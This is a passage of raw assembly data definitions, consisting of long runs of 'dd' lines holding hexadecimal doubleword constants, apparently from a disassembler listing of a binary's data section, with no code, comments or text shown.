		dd 7F451FDBh, 0E83DBA1Ch, 806D0E56h, 83D0E7AEh,	0F1895F40h
		dd 0CFA085D0h, 0D05CF439h, 79FA1DC7h, 0FA1C7BD0h, 1C9BD04Dh
		dd 2BD04BFAh, 0E42EBA1Ch, 6743BE79h, 73D9043Dh,	0EDD0EDE8h
		dd 87E873Ch, 0B7438A74h, 0A1DD1944h, 0C24F05DFh, 947BFA1Dh
		dd 6FD0EE69h, 0F439BE10h, 0A297D05Eh, 0A0FBF43Dh, 3F43B8Fh
		dd 0D155FB0Fh, 0FE4E3DD5h, 0C2BFB40Ah, 6DF419A1h, 82A7439Eh
		dd 89E8712Eh, 0F43887A0h, 3A7BA0B3h, 0E1D056F4h, 0E811FD0Eh
		dd 43D0EE6h, 0E8740B7Dh, 42FF68B3h, 336E8794h, 0C81F6AAFh
		dd 0F639CA76h, 8F5503F1h, 53F2741Dh, 438B6750h,	997A083Fh
		dd 3D02EF43h, 7083A1D7h, 9D0E256Dh, 473AED58h, 0E1887F21h
		dd 2265231Ch, 7A0EB43Dh, 47C7A46Eh, 165E8384h, 0DF437019h
		dd 0E8F2F88h, 0C2597E79h, 7F4FC58Bh, 0D4382ED3h, 50AC9F7Bh
		dd 0E7333E9Eh, 0BF8BF1E1h, 0BDA08809h, 6F9B8379h, 0CFFEA57Ch
		dd 0BACB0785h, 5C5BB07Ah, 0E1BAD970h, 2BD6ABABh, 0BF3F5E0Ah
		dd 0FEF7195Fh, 0EB831D73h, 0F73D538Ch, 233790CBh, 0D9F5CCBEh
		dd 6BB57AEAh, 5B380A0Dh, 0E6AB2381h, 7E69BB5Fh,	7D1B838Ch
		dd 0BC9C92F3h, 0CBF3FCA9h, 71EECE47h, 315F7BD0h, 13F97833h
		dd 0D876D783h, 0ED51B3B7h, 9E6EECC0h, 73C95773h, 0EB5D93FAh
		dd 9F83D995h, 0AD6FBEEFh, 0FCB35F83h, 70335D5Fh, 0DBEC055h
		dd 8B8202CDh, 0AFF6569Bh, 1BB5FE6Ah, 35EB83F3h,	0C4E7549Fh
		dd 9FF7C90Fh, 8B6F2E6Ah, 5A6571B4h, 0FACB8D8Bh,	5DDAD596h
		dd 0CB7EB5DEh, 9D0E3BE8h, 0E08D3BEFh, 1B90C8D9h, 31B89FF2h
		dd 4F93587Fh, 0F8DD49BFh, 0AF3A9B45h, 0D93F0572h, 5534F658h
		dd 0E362BC18h, 0BFED55C8h, 0B3B5695Bh, 0E709DE79h, 0FCBC1B1Fh
		dd 6175F8B1h, 42F1B687h, 63D0B4A3h, 3ACE7AA7h, 4EEEA6D3h
		dd 0FE2F1EEDh, 9B4F35C5h, 7FBEDF3Ah, 0A2B3253Ch, 0C516976Ch
		dd 0E4F057B7h, 0D91BE1C9h, 7B3B2BDDh, 7020B1C6h, 65794BD3h
		dd 821DBEECh, 38EF0B5Fh, 818CCCA2h, 581DBA6Bh, 0C9A22ED5h
		dd 0D79536D4h, 379FC8Eh, 567BF057h, 1C340487h, 61C4ECDFh
		dd 0ACCF5E2Fh, 0C8F965BDh, 2EDF8DD5h, 566BF70Bh, 579D86D1h
		dd 0DD4BDF7Fh, 0ECF1E73Ch, 0A6507B53h, 20A5AE2h, 0BF1B2D5Fh
		dd 757875C6h, 0CE2FB7A8h, 0FB956DFEh, 0DDB89BF9h, 95425CABh
		dd 76BC9E3Ah, 65DCF255h, 752E4E3Dh, 3FBBD4C6h, 0FC7F67D7h
		dd 97B788F2h, 3DF7DB56h, 0F733753Eh, 0EAA14AE9h, 55793C79h
		dd 45E533CFh, 24B96F61h, 6AAF24DCh, 8796FBB9h, 0B0B2A1Dh
		dd 0F8DD9D6Dh, 9B22D5D0h, 0E437914Fh, 19F93967h, 47AB6581h
		dd 43EE726Eh, 255BB23Bh, 0CDD91CFh, 0DE65ADFFh,	0A5D5F2B1h
		dd 6ED7F9AAh, 25D5EF9Ah, 9F24BCDFh, 722F09BCh, 77EEBE9Fh
		dd 0F9C5687Bh, 0F39CF37Dh, 69BDAD4Fh, 0DA57C0CDh, 0B045B2DBh
		dd 0DBDAD4E1h, 0EB2F0E37h, 0ECBFB3E2h, 7C9BC195h, 18AD978Fh
		dd 8B23C2B9h, 1DAA0353h, 5639F00Bh, 0E186CB7Bh,	0A6F4BD6Bh
		dd 2F3F8657h, 6FCB9454h, 84DD71B9h, 0F21FBB17h,	5AF8F9EAh
		dd 3C2596DBh, 67687E11h, 0A93AA050h, 77FDE559h,	1D59B96Fh
		dd 0D49BD61Bh, 5E27F8E4h, 5F96ACD9h, 7585B321h,	0B8393D57h
		dd 1D66FC4Ch, 5F733EB9h, 0F2553B45h, 0FDA9FCBDh, 3741C6C2h
		dd 7F47A739h, 0B2EEF6Bh, 0FD3AD1EBh, 1562E876h,	77C9F77Dh
		dd 73FA1DF4h, 0EDD5E0FFh
		dd 6A97ACAFh, 5A4AC857h, 871B2DEDh, 0BDBD75CFh,	5E656BA6h
		dd 6B559B56h, 0BD872F06h, 0AF99E8F3h, 7FFA91FEh, 0FB6A332Eh
		dd 779203DAh, 0BD446569h, 3C7571A0h, 62DA54E3h,	73E1E6E7h
		dd 76ACF7C2h, 0F828BBE4h, 1E5F32D5h, 52AFF656h,	2AF32B8Eh
		dd 0C5A338E5h, 2FC515C6h, 2E513BB6h, 0DB22ACB4h, 0C6329E4Eh
		dd 792A9591h, 5D790DEAh, 27C136BDh, 35B1F0CFh, 0BB7D46C4h
		dd 8B685DA6h, 36154151h, 5D8F66Ah, 11BF6F81h, 6A68DA11h
		dd 92A713D3h, 0FE413D1Dh, 0C357C4ACh, 1CECAC4Fh, 0C86A62D2h
		dd 3BA9CBB9h, 32EFD7CFh, 6F7B63CDh, 0BF89EC7Ah,	27CF6638h
		dd 0E6D6AC6Ch, 7753E7B7h, 36120A9Eh, 2798AD36h,	0AA71F9B8h
		dd 0E698F8E2h, 0D88C560Bh, 6AF0F1DCh, 171E0D81h, 0F57D954h
		dd 5A1D1B3Fh, 45B4DE11h, 0BE8746EFh, 0AF8AF5EFh, 0B5D9346Ch
		dd 0B9A02C3Dh, 82E30797h, 5E0F56CBh, 546EF18Bh,	1DDC7837h
		dd 0D92D7395h, 0BE6E768Dh, 543B9CA7h, 0F63CEDEh, 0B35CA2Bh
		dd 0E6D4546Dh, 2CAF55E0h, 1B057293h, 0CD5DDE23h, 0CF1CA837h
		dd 4CD7DBBAh, 0BD7F2CD9h, 46229692h, 0C937C8FAh, 0FD99BA9Fh
		dd 0DA97656Ch, 1CDB3DC1h, 0E9B094BAh, 33FB758Ch, 0D8D3E1Eh
		dd 0E4EAF2D8h, 0EDA1C2B5h, 1B83B3F0h, 9F45FE7Eh, 933E9EF5h
		dd 6EB2BCFCh, 0ABB557BBh, 0CE377C1Dh, 99FD6BDBh, 18F9DE21h
		dd 0FF1A1ACFh, 0DA85DB93h, 13E9B30Dh, 74FB7BBFh, 5B763A93h
		dd 0CDF7AA4Bh, 0C0B4B1D1h, 2F86EBADh, 69AD0E17h, 0B8C7BF54h
		dd 4FBE073Ah, 0CB68F875h, 89D75CF2h, 0F0407435h, 0F3E3F938h
		dd 74CFEB71h, 0FA7BD714h, 0FE79D25Bh, 0D88BBE8Ah, 371BDB43h
		dd 0FB6E860Dh, 0FEC2C9EAh, 0AF9FDC65h, 2C37B70Bh, 7B1FDA71h
		dd 0DAACBC93h, 6E2617DBh, 19787F6Ch, 5A45B4DFh,	32B89F8h
		dd 0D152FE37h, 305B1C47h, 0A7F8557Ch, 568587AFh, 0DD514FE9h
		dd 5E0FF765h, 76D0F1DBh, 0D4C9B429h, 454EDF90h,	28F0F16Eh
		dd 8CDD7FC3h, 6F6175A4h, 0AF2C7579h, 4C8F53CBh,	8556A47Eh
		dd 53FB231Dh, 0FA76DF66h, 19BCEF7Eh, 88CCFBE9h,	0D63A2BBDh
		dd 0E1B23E6Bh, 0F97BDFFBh, 0C6DBB536h, 75D753CDh, 0F9DE5BDBh
		dd 93527A36h, 0AECFDD4Ah, 0FC797CF5h, 0ED151EBAh, 62B5A98Dh
		dd 0DDD5C8F3h, 466D5CBFh, 736ECEB4h, 0F8DCA2A8h, 0F5D73B5Ah
		dd 53DAE4DFh, 0D1F43186h, 9507C7B1h, 94F3DF75h,	71CEFF50h
		dd 0A5F70741h, 0E034657Bh, 0CB4375D5h, 0DED81CEAh, 0B4EB49AEh
		dd 8E9CBF36h, 68C8E1D9h, 0E1F2AAE0h, 0B93A34AFh, 0FE1573AAh
		dd 0D2BE1ECDh, 0EB8CB275h, 0EF1EE2DCh, 59705E7Ch, 75AD90F9h
		dd 0AE77AD0Fh, 1E4FB2A9h, 0B531D79h, 0FB4D7CB6h, 0AC0F5FB7h
		dd 486A675Fh, 0F8DEFCE5h, 740AF96h, 0B4EFD46Eh,	0A42F8D80h
		dd 0E8388CCEh, 0F9DE5BB5h, 7CE2C890h, 0EDD49B72h, 2A822676h
		dd 55AC49F6h, 142DBDE5h, 0B8E47235h, 5B169D1h, 793FDD36h
		dd 0FEA0D450h, 3F9DED22h, 4F9DE31Ah, 738DDA72h,	0B2EC2BDBh
		dd 8B138B33h, 0CBF6DD33h, 0F101A81Eh, 62138331h, 44069312h
		dd 9517EE83h, 0C032929Ah, 3D156F5Eh, 33D62620h,	16BBE76Bh
		dd 7A746D32h, 0D3966646h, 3B12CF47h, 8A6639FBh,	5BD79F2h
		dd 0B72D3FD5h, 0E6979C0h, 0FF594779h, 0F89884C8h, 7B5884B8h
		dd 79DF29BEh, 7488C755h, 11EF79FBh, 2AB139DEh, 0CB76DCC7h
		dd 3D98BC23h, 4A7FA932h, 590A726Ch, 7DBF6866h, 0B175E492h
		dd 0EDB4D310h, 7EE64E90h, 640EAD53h, 0EF751819h, 8C7AA3BDh
		dd 0F2CEDA42h, 8C8D1FAEh, 2B224989h, 1DEB3C6Ch,	50A6A407h
		dd 18F79411h, 0CDD5DB59h, 2C4A9FFBh, 0E624E775h, 6BE45016h
		dd 111111EBh, 535F6314h, 0FD867161h, 59371CDAh,	959E76Bh
		dd 5571FF66h, 0FFB583ACh, 84545CB8h, 64F11B87h,	6943B3CEh
		dd 32DE7B0Fh, 0F22992D5h, 61496224h, 26352BB1h,	585455D1h
		dd 90EAE25Ch, 9EE7B2E1h, 0A5195C33h, 5FF96499h,	0F8D7926h
		dd 52BADBB2h, 16E6278Ah, 0E2BC9364h, 99E4EECCh,	0E711D24Bh
		dd 7475ED7Ah, 0E48D63F6h, 1DE1F3E9h, 0D672EE32h, 0A5E656EEh
		dd 219CB793h, 0F6E0EA9Bh, 0DB107570h, 4DD753DDh, 1DE15CF2h
		dd 0CF833B4Ah, 0DCF92A5Dh, 0AC623DC1h, 2AAECA67h, 10F91FFh
		dd 37242A29h, 0CC726E0Bh, 645C8D5Bh, 0ED9563F5h, 686A761h
		dd 8D075A6Fh, 0C446BE91h, 4C26CE8Ch, 31BF3324h,	8DA10189h
		dd 0BBF0A3F1h, 0F4202032h, 0F0E77E22h, 15ED4C8Bh, 6A45EB67h
		dd 0A3590A72h, 92A0D107h, 0EC4AB30Bh, 26E75779h, 0D406BD87h
		dd 9392979Bh, 0CDCE4AE9h, 2C2F4DCBh, 0A6652570h, 5DBBE5E5h
		dd 79858529h, 0C78B0BE3h, 0AC5447B8h, 0CAD7F852h, 4F88B913h
		dd 7863EFB6h, 22937D67h, 0DB866DE3h, 7B2623F9h,	8FE0D197h
		dd 21552A7Bh, 794AAA6Fh, 532956EBh, 0B7C90FE5h,	8A6BD8EBh
		dd 85EC9293h, 0B2FD15C7h, 5DD32A95h, 170C14FDh,	628F74C3h
		dd 34EEF963h, 248AD22Dh, 0AF22C944h, 0EB386D38h, 0DED32792h
		dd 0A953B725h, 0C5325EC9h, 2759C687h, 78EE55C7h, 0EBDB85D6h
		dd 0AE23307h, 38273232h, 5FA7DE7Ah, 0B70EBDBCh,	54E8BF4Fh
		dd 0D56E9FBBh, 223BD35Eh, 513ED625h, 4F21F72h, 7A66517Fh
		dd 0AF5E5A6Eh, 0D80CBCC2h, 5B9DFB1Ah, 0B8ECF26Eh, 0F7268A63h
		dd 98E9A293h, 23625928h, 84925EB9h, 6454A99Dh, 66DB689Fh
		dd 0E4C43845h, 14CB1BA4h, 9D79C68Fh, 9D23F915h,	0BD64F735h
		dd 0BFAA48FBh, 8FBEEEBDh, 0B3DE0ABDh, 8B949FEEh, 0D057FAA7h
		dd 0F6D13A9Eh, 0F64911D3h, 0D8290153h, 4AFD5CAFh, 0D5A390CAh
		dd 0E5A3C7CBh, 0FE2D6764h, 0C21EFB48h, 0BDE57B00h, 0DD67BCA7h
		dd 0B7E74F6Ch, 0D9E78865h, 0D6EA3F11h, 0B5BB6B76h, 0E7FEDADDh
		dd 0B60CB6Eh, 3CEC3CC9h, 1BF013A4h, 7E225F85h, 86EBF13Dh
		dd 9E21AB5Fh, 831DD9F9h, 376B4203h, 0CB6379FFh,	3D3E3257h
		dd 110EF7C7h, 0EABE9E83h, 8B4562BFh, 0A6322B29h, 0E4F26D6Ch
		dd 7B9183D0h, 0FDDE7E5Ah, 7E1B5FF5h, 0FB7DB05Ch, 198F0F33h
		dd 51A7F735h, 0AFDB134Bh, 89EEF219h, 0E45349F3h, 43F3BCD2h
		dd 7A9D1E2Fh, 0B45AAC75h, 56FD4982h, 0AF3C3F58h, 0F7AAE079h
		dd 0FB595C3Eh, 0DF2DC5C1h, 0BEC2F078h, 0B80AFD2h, 0CD9E3FA5h
		dd 0B5E9A07Fh, 9C1E0169h, 9B9FECEEh, 0BCD24B57h, 2BC90331h
		dd 0FDF4185Ah, 7B8B073Ch, 50FFF8CAh, 0E6408731h, 3FB4162Dh
		dd 5F8446F1h, 0BC77E18Bh, 8DBF5DFFh, 0CC81D89Eh, 7197E4B7h
		dd 5F6B2F9Fh, 0B7C622BBh, 3BD666F3h, 0AD63AAB0h, 0FCCE6916h
		dd 66DEDD80h, 5AF6D0E6h, 0CDB8332Ch, 0D8DE9D81h, 8F98E1A0h
		dd 22BB9B77h, 0A42FFB49h, 0B13889CEh, 456863B3h, 0CDE76C9Ch
		dd 82FBBD70h, 79FB27D3h, 92035E98h, 0D9264706h,	8FDEDCB8h
		dd 37268C8Ah, 0A3A3A373h, 12C593BAh, 0D85F8F3Eh, 903F0479h
		dd 0E3D273F8h, 676D0F0Dh, 0AA0F076Ah, 4574E873h, 0BEBC176Ch
		dd 0F6A6FFBCh, 0AF091E27h, 4E67DCDFh, 0D69BCEDBh, 0FBEB71B9h
		dd 0E6C6561Ah, 0EE12F59Eh, 0B97945F1h, 8AAE9925h, 0E4A514B5h
		dd 418026CDh, 1544059Eh, 4E9746E5h, 266F202Ch, 3593EEF3h
		dd 884DE446h, 0A0BF6D5h, 0AF3D338Bh, 0A8B2A452h, 0CA8F2A5Ch
		dd 93DDEFB4h, 0E07DB805h, 0D6F78965h, 0D24B33F3h, 7685055Ch
		dd 0EFBBD33Dh, 69949DCEh, 0CADBAFA0h, 3E545713h, 8A93D36Bh
		dd 4A449D42h, 264F38ADh, 0AF625159h, 0B4E9E906h, 51F6F18h
		dd 2C29294Eh, 6CDE6CA2h, 93EFBAFDh, 0C3D7EEDCh,	35A7053Ah
		dd 1733E43Eh, 0EFCE241h
		dd 19A79E55h, 2BFD72DFh, 47B45723h, 6CB557BCh, 0F2B6FF81h
		dd 0F8F40FBEh, 0C18EF5F4h, 7E1BBDA1h, 0B2E8FDF0h, 75756A5Fh
		dd 0FCBC5BE6h, 6BBC3FBCh, 1EC6D2C3h, 388B1859h,	90EAE472h
		dd 0D43A2B93h, 0E3BD4E0Eh, 0CE5117D8h, 0F06E495Ch, 37C305DAh
		dd 87B7BBF0h, 0AF3156DDh, 60F29031h, 46497777h,	0C6BAB267h
		dd 90599E15h, 75E499D3h, 715771B3h, 0E31B15DDh,	7D0771D6h
		dd 0D6949DD7h, 2EE75B2Dh, 772D3F63h, 799BCE55h,	5679F5E3h
		dd 6D6926C3h, 3399F53Eh, 1FDFE4F5h, 0B8C5ADDEh,	0A173BD3Bh
		dd 369F594Eh, 468F79BDh, 0BC62D1DCh, 772BD793h,	1DE7B442h
		dd 3CED9592h, 6936F1D4h, 9DA7BF9Ch, 2D56B5F1h, 0C0E5EBBBh
		dd 35852F23h, 0F8D49A0Ch, 697E4AFDh, 3EF72E3Fh,	997A0273h
		dd 0A6DBBD0Fh, 7DE732EDh, 0F43E53E8h, 4D3A0AE9h, 7E2B3859h
		dd 0F8C54463h, 0BAE4E4A7h, 85C5455Dh, 0F969C5D9h, 89B4FCAEh
		dd 0BC82C2AEh, 99D1AE89h, 2D2E2AEh, 61715657h, 95CD2BBEh
		dd 0CAE51C9Ah, 1BA2DFB0h, 0A8BEB681h, 52646B68h, 0ACBFF632h
		dd 0E7DC3B6Ch, 0E595E13Ch, 53226312h, 0B69A6922h, 0B7DC2765h
		dd 0FA1F19FCh, 6BFA1F2Bh, 9F1BFA1Fh, 43E338EBh,	5743E57Fh
		dd 6C71CF96h, 0BD2718C3h, 873349C7h, 1DB969DAh,	0B8D5925Bh
		dd 0F1E489D1h, 39D32A4Ah, 0E4A4E19Eh, 0B0AE5A25h, 6EB0EE0Eh
		dd 0D2EF2CAEh, 190BB279h, 0CECE6272h, 0C13C65BEh, 50891E6Eh
		dd 0F3600A7Dh, 0A7CDE329h, 643E9DB2h, 0BACAE73Bh, 0E29F5AABh
		dd 189227FAh, 4F6EEB3Ah, 2748D67Eh, 4EA4E21Dh, 7EA72CFDh
		dd 64D8BD45h, 34AAD9FBh, 0DDD47F27h, 484DDAD5h,	46052548h
		dd 6483C0DDh, 351F38F2h, 0A8CF39CAh, 0E71C3721h, 7D9F71C8h
		dd 7DBEDAB6h, 9CC351DEh, 0D3F9CEFAh, 270EF49Dh,	0BFBD526Dh
		dd 76EDFD51h, 0FAFAF71Ah, 898E57A2h, 90414DDDh,	0DB29D8D0h
		dd 0BFD7D7ACh, 0BE818F79h, 2F3A5E0h, 7232BE67h,	6ADEFB2Dh
		dd 0A93C6841h, 92CF89D9h, 900F9EB6h, 943EB99Ch,	4EB2A9FBh
		dd 0A98C5EA5h, 0A4B2FCF5h, 0CC543B17h, 55EB3539h, 7ACD1BA9h
		dd 2BA1F69Dh, 0E6F61665h, 431BE1B5h, 57EEBDF6h,	4754CEBFh
		dd 0AAF59BC7h, 16D2AFD4h, 7D0DD65Bh, 6D89FDA2h,	921BF511h
		dd 32A8D239h, 0D66A3D8Fh, 0EDBE47CBh, 0CBA23239h, 0AB8F9BB5h
		dd 0CF8CE368h, 0A1F2BEF9h, 59B8652Bh, 0CD9F8788h, 8EB49C82h
		dd 5275D693h, 9D4D4787h, 8ACDB0B4h, 0ED6579CDh,	3CE4ADF6h
		dd 0C9C0D7D7h, 0D8AF4CF7h, 3CBD0E4Bh, 977B76F8h, 6C62D8Eh
		dd 0B51BDF1Fh, 0E75FD3D6h, 90F25079h, 126F3DA4h, 146DD4EAh
		dd 46CFD95Bh, 0F4FD95B1h, 0FDEE66D8h, 0CD7EE1D9h, 28D4D7BCh
		dd 8DEFB2B6h, 0EFBEFA9Ch, 5EFAAE0Eh, 0FCF3CA61h, 27F6AAEAh
		dd 0DA6B0E1Eh, 0C4E428A2h, 9EBF5E77h, 617CED67h, 6B5CF3B8h
		dd 0BA3BC7B2h, 709C75EDh, 0A8861D82h, 0CC709131h, 93CE09A9h
		dd 8DB264C9h, 65997322h, 0C8BE862Bh, 6879067Eh,	0D8E4D69Dh
		dd 9F8E9EA9h, 0C36B531Eh, 8D75A2DAh, 98ADAD0Eh,	0D6B0DC77h
		dd 0E3CE1B2Bh, 9DCF15D3h, 0DA18ED2Eh, 0D86E77D0h, 73AD3F9Bh
		dd 0F98AA360h, 0C1EF2777h, 4C777AF0h, 4541F3AAh, 5D873259h
		dd 0DD5C2654h, 0E21A1616h, 0E0571B2Dh, 0CACACD2Eh, 7593274Dh
		dd 0B5FB7CAEh, 11F964B7h, 783C9235h, 5DD93CEDh,	0CB19EE14h
		dd 0DA4ECEA2h, 52C693C5h, 8857F8C5h, 7FEDADDFh,	7EC036E2h
		dd 0EDADC213h, 4D16EA7Fh, 540551A5h, 0DE7D503Ah, 5B95DDDFh
		dd 75B0DFDBh, 0D1A922A4h, 0F92FFDB6h, 6B72BBBBh, 8EB61BFBh
		dd 0BF741254h, 0F13FE304h, 0ADCAEEEFh, 3AD86FEDh, 36547152h
		dd 0B1003Ch, 67777F99h,	0D7FF6D6Eh, 50D48EB7h, 57ADFB8Ch
		dd 0DD4FFED7h, 5409523Ah, 89DDDFE1h, 0B6DFDB5Bh, 17F70345h
		dd 0D96FFF42h, 5B99FFFEh, 2BF23B1Fh, 71BBBBFAh,	0B69BFB6Bh
		dd 4A952A28h, 9401BFC1h, 7ED0A4BDh, 79CE36EAh, 5DE7A56Fh
		dd 8FD82995h, 0DC87F7B6h, 0C8D91FE4h, 510B921Ch, 88E22964h
		dd 2935812h, 0EFB78DECh, 0F9D9E615h, 899BF899h,	0E4D034DCh
		dd 0F60661FEh, 0A452ED73h, 7D6D9705h, 197AEDD2h, 46491236h
		dd 64DE424Ch, 241A8F9Ah, 2D418D2Eh, 0E8C1CEF2h,	0C28282B4h
		dd 0E3791712h, 7F6DCB87h, 0BCA284F9h, 0F231EFA9h, 0B4C8EAECh
		dd 0A7320C8Ch, 96FB4BE9h, 1F4CCE29h, 91376E47h,	0D5D2FBFEh
		dd 538F78CBh, 0B3DF9C37h, 569BD39Eh, 5A539639h,	624D5E42h
		dd 7DA1F71Fh, 1617A4CBh, 7B8E9014h, 0C8C72AD3h,	0F937517Dh
		dd 0E5095A8Ah, 1996FB4Bh, 0AF39EB9Dh, 7E72AD37h, 9BCA714Fh
		dd 4977EF56h, 24DFA7A1h, 47963DF5h, 9E8453BEh, 0F5AAD37Ah
		dd 8573484Ah, 2BCF3645h, 6932DF69h, 0C8837BF6h,	0A93C0F3Bh
		dd 0CCECB1EFh, 0A1FEF212h, 0B19D13D1h, 0D37FBEA8h, 0A8C79EB2h
		dd 0BEFBEAA9h, 0A4A0B65h, 78CC8873h, 3963DF53h,	0D5E48525h
		dd 0AD37940Ch, 39CF2C7Eh, 36937796h, 0AB369CF3h, 1C9C1B1Fh
		dd 0ACF3E559h, 95ABF7D5h, 0BB5E78ADh, 0B3C57E5Ah, 79383DBh
		dd 1E73F744h, 0B82F2727h, 55DF79F2h, 1ADA5FCDh,	585F1AECh
		dd 5AD3C9D0h, 0CA2FEA5Bh, 9BBFD551h, 0F562A555h, 0F9556A6Fh
		dd 73B556A2h, 32FB5724h, 0F45F8DD3h, 0DE4FB9AAh, 977CF8BEh
		dd 0AAE95AAEh, 53DB6CC7h, 1BB825F9h, 231EFACAh,	0BF5F95FBh
		dd 27D45AABh, 0B677EABFh, 0F558B5AAh, 85F3E518h, 0AAFC6AA7h
		dd 0CAF8AFCCh, 55CEF553h, 0B55453E4h, 2D5576AFh, 5518ED59h
		dd 0D5612BE5h, 8C7AAD1Ah, 0CA217EF2h, 0ED5E415Eh, 0F037814Bh
		dd 9F71FAAAh, 0B3E8B23Ch, 31F6F2A6h, 7BF55FB2h,	578B55D1h
		dd 0DDE5563Bh, 657D640Ch, 0AE515A46h, 0C2EA1DF3h, 36B931C2h
		dd 0E47924C4h, 0B951C6F5h, 13C56905h, 5FDBE6ABh, 8076AC6Fh
		dd 2CAFDBE4h, 5BAB3E70h, 1BDCB5F9h, 15A7458Eh, 0CDCE8DA5h
		dd 0F26FDF23h, 5BE1C79Eh, 0E8DE5E5Ah, 840D6734h, 0DBFB27DDh
		dd 8F10C969h, 0EFBC768Ah, 0A8B270B9h, 32E48E52h, 7E5D77B4h
		dd 0C182FBE5h, 15FB38FCh, 695454BCh, 0B1665656h, 0CCB8C06Bh
		dd 0C2BCACE2h, 0F63BF0F1h, 497705D2h, 0AEC43161h, 0F3BE7EE2h
		dd 3CB494CEh, 0DC6DF397h, 0A101117Ah, 0D080E5EDh, 42035311h
		dd 878BA469h, 0E868406h, 422D080Bh, 851F8E5Ah, 0C5F8C6BCh
		dd 0DD9E754Fh, 17E98E4Eh, 0A2215B17h, 0B2AB5836h, 0BF62A7D6h
		dd 0EC6BED0h, 7AE5576Eh, 408DE764h, 8EF224AEh, 0ECDE11A0h
		dd 59124844h, 152CEEEAh, 50A997B7h, 0A870DBCEh,	0F222A2B4h
		dd 0D20CD19Eh, 2DD5FB57h, 0BDC73D75h, 0E9B27F2Fh, 9CF4E2D2h
		dd 0FB117834h, 95B06995h, 0A2647BCEh, 9EAF2228h, 12BA302Fh
		dd 917AF160h, 0BF419F4Fh, 723F29Dh, 2A8E8E67h, 0CEEF1C2Eh
		dd 0D6491E2Ch, 86AB3942h, 0DDEC1728h, 0EF3C3F95h, 22B08836h
		dd 2F4C8D07h, 0AF691FCCh, 0D3D9E864h, 8F7C558Bh, 0E7E27CFBh
		dd 0B75086EFh, 16D2FFB6h, 12273F60h, 0C8D3514Eh, 0E1A641BBh
		dd 0F6C9307Fh, 56EFA423h, 0D33EFEC7h, 0F793E410h, 2521148Ch
		dd 2522E6F5h, 0E65917EFh, 5BFA9E7h, 0C8AF7929h,	9DE4A411h
		dd 92916722h, 0FE5089F7h, 483AB4D4h, 6F57FB9Ah,	8B229837h
		dd 4FE468DFh, 0E907DA40h, 214748BDh, 4E90FBDh, 7CC2A4A4h
		dd 9691D3A4h, 91419D23h, 0D35176EFh, 8E3D2366h,	0BE450E74h
		dd 7B4D4C2Fh, 506904h, 0A451ED35h, 91F3A42Eh, 431F48CAh
		dd 71F4889Ah, 370139A4h, 0C0C9175Eh, 2FEDD8C5h,	0E9173A46h
		dd 200FA47Ah, 41F48FDDh
		dd 3E90A7A4h, 0D212F484h, 3434879h, 92769A9h, 469E90DFh
		dd 7AB033DAh, 1D547EBBh, 60486630h, 0F27B7E75h,	9FC86A73h
		dd 0DCFE4350h, 0D717F21Ah, 435E5F90h, 0F21A96FEh, 7F90D7F7h
		dd 0B3FC86BCh, 0AA5FE435h, 0D6A83F21h, 0D79BF3CDh, 435E1F90h
		dd 7E435CBEh, 87F21A9Fh, 539F90D4h, 1A84FE43h, 90D6E7F2h
		dd 0FC86B8BFh, 0B7F21AF2h, 0BFBF90D4h, 35E3FC86h, 21AD9FE4h
		dd 0F90D52FFh, 0C0D5B741h, 0C3F21AFFh, 6B97C86Bh, 0FC83EFC8h
		dd 548189F0h, 1D03CFB8h, 0EEAA9339h, 0BAAE4F97h, 0D54A767Fh
		dd 0AB7BF0FDh, 5AAFBFD5h, 0EAD569FDh, 7F56AF4Fh, 51FDD566h
		dd 0BF948159h, 5D3EE57Fh, 0F04D4818h, 940E79E9h, 0BF29F450h
		dd 5A90372Ch, 67DFB3E9h, 0FA65204Ch, 0BCDCFECh,	3DF69EA4h
		dd 0F7DA015Fh, 0EFDA1FEDh, 47FF23E8h, 1CD481DCh, 290DF39Fh
		dd 0F5EEA409h, 0FD8E3FD9h, 0A3FB3E59h, 9FEEAB4Ah, 0EFB17EC5h
		dd 0A40F8CF5h, 4FD9F4DEh, 0FB1B7F04h, 0B93F9F94h, 7DE27EEAh
		dd 0AB4F8ED5h, 7A647FBAh, 99D0FDD5h, 0AACFEAD5h, 0B54A7E56h
		dd 0DD56F7F2h, 0EA7B6EF7h, 97A627EEh, 7DEF63AAh, 690FD948h
		dd 154B151h, 52654255h,	0EA8B94C5h, 0C3A09487h,	953FAA20h
		dd 7B64FD8Ch, 0A6DB83F5h, 0CA5C8948h, 0F292707Eh, 0AAC79FB7h
		dd 0E17B7F8Dh, 0AF03A2A1h, 0A5519F5Fh, 0C72A129Dh, 0F720D59Eh
		dd 0CB51B2CCh, 4D41DF6Dh, 675CDFC3h, 76CC83FEh,	0D265DBE4h
		dd 170D79ECh, 0B73EC635h, 0CC843E67h, 0BAA78EB9h, 1322F3D9h
		dd 351D2250h, 69A3ECF3h, 9B486F76h, 1339ECE3h, 0E2A33D97h
		dd 0AA42B1C2h, 0D2327ED4h, 14717FB7h, 6E696B8Dh, 39C12FF7h
		dd 0F4ED67A3h, 5DBA6A34h, 537AA346h, 0D5D7C18Fh, 15E99946h
		dd 1FD6F29Ch, 616FD76Ah, 46F0F7D7h, 455CCAF5h, 0FD76C1FDh
		dd 0FDF53E26h, 7EA73F28h, 98E0650Eh, 0B4FF901Fh, 3C892B2Ah
		dd 0C739FBC7h, 37E3EDFDh, 0D7E2695Bh, 0D47DFC93h, 9038D729h
		dd 0F3641B94h, 0EDD71733h, 0ECE23AA2h, 6798E099h, 1D473BDFh
		dd 0E7394418h, 8D3E3067h, 0AE55A6A9h, 91DA3E0Dh, 7C4A8F03h
		dd 8A526360h, 8847B14Ah, 3396768Ch, 0F9EC7D8Ah,	448C0CA5h
		dd 2E923D9Ah, 4E5C1E2Ah, 0BFCC6A7h, 232BE212h, 8E86A87Bh
		dd 0B16F548Ch, 648B457Bh, 0AD1B2BBEh, 0CAE7990h, 0F6595CFBh
		dd 0BE32573Dh, 7DB66CA4h, 3C73DE17h, 0E7B22A9Fh, 0AAF9C8D2h
		dd 0B540878Fh, 0AA60CD42h, 83C64DD9h, 0BFD8F9C1h, 0E7028F18h
		dd 1E34D78h, 0C95699FDh, 5F54FDB7h, 0BE85ED3Bh,	13EE704Fh
		dd 0D9BCFBFCh, 78773546h, 0C7A51FD3h, 0C6EE57D8h, 0EDF879D5h
		dd 9BE2EA91h, 0BB27775Ch, 0A75B0CDDh, 6888B57Ch, 3CAF5798h
		dd 7CDBA46Dh, 10E7B62Ch, 0F29D6C4Bh, 33816768h,	675D58EBh
		dd 0FFCF5FABh, 8EF4CD59h, 8C2A5353h, 0BD06B67Ah, 0FE28C089h
		dd 396538D5h, 0A71A6BC7h, 0CDBDF2AAh, 0AAA0FE7Eh, 7BB44B9Dh
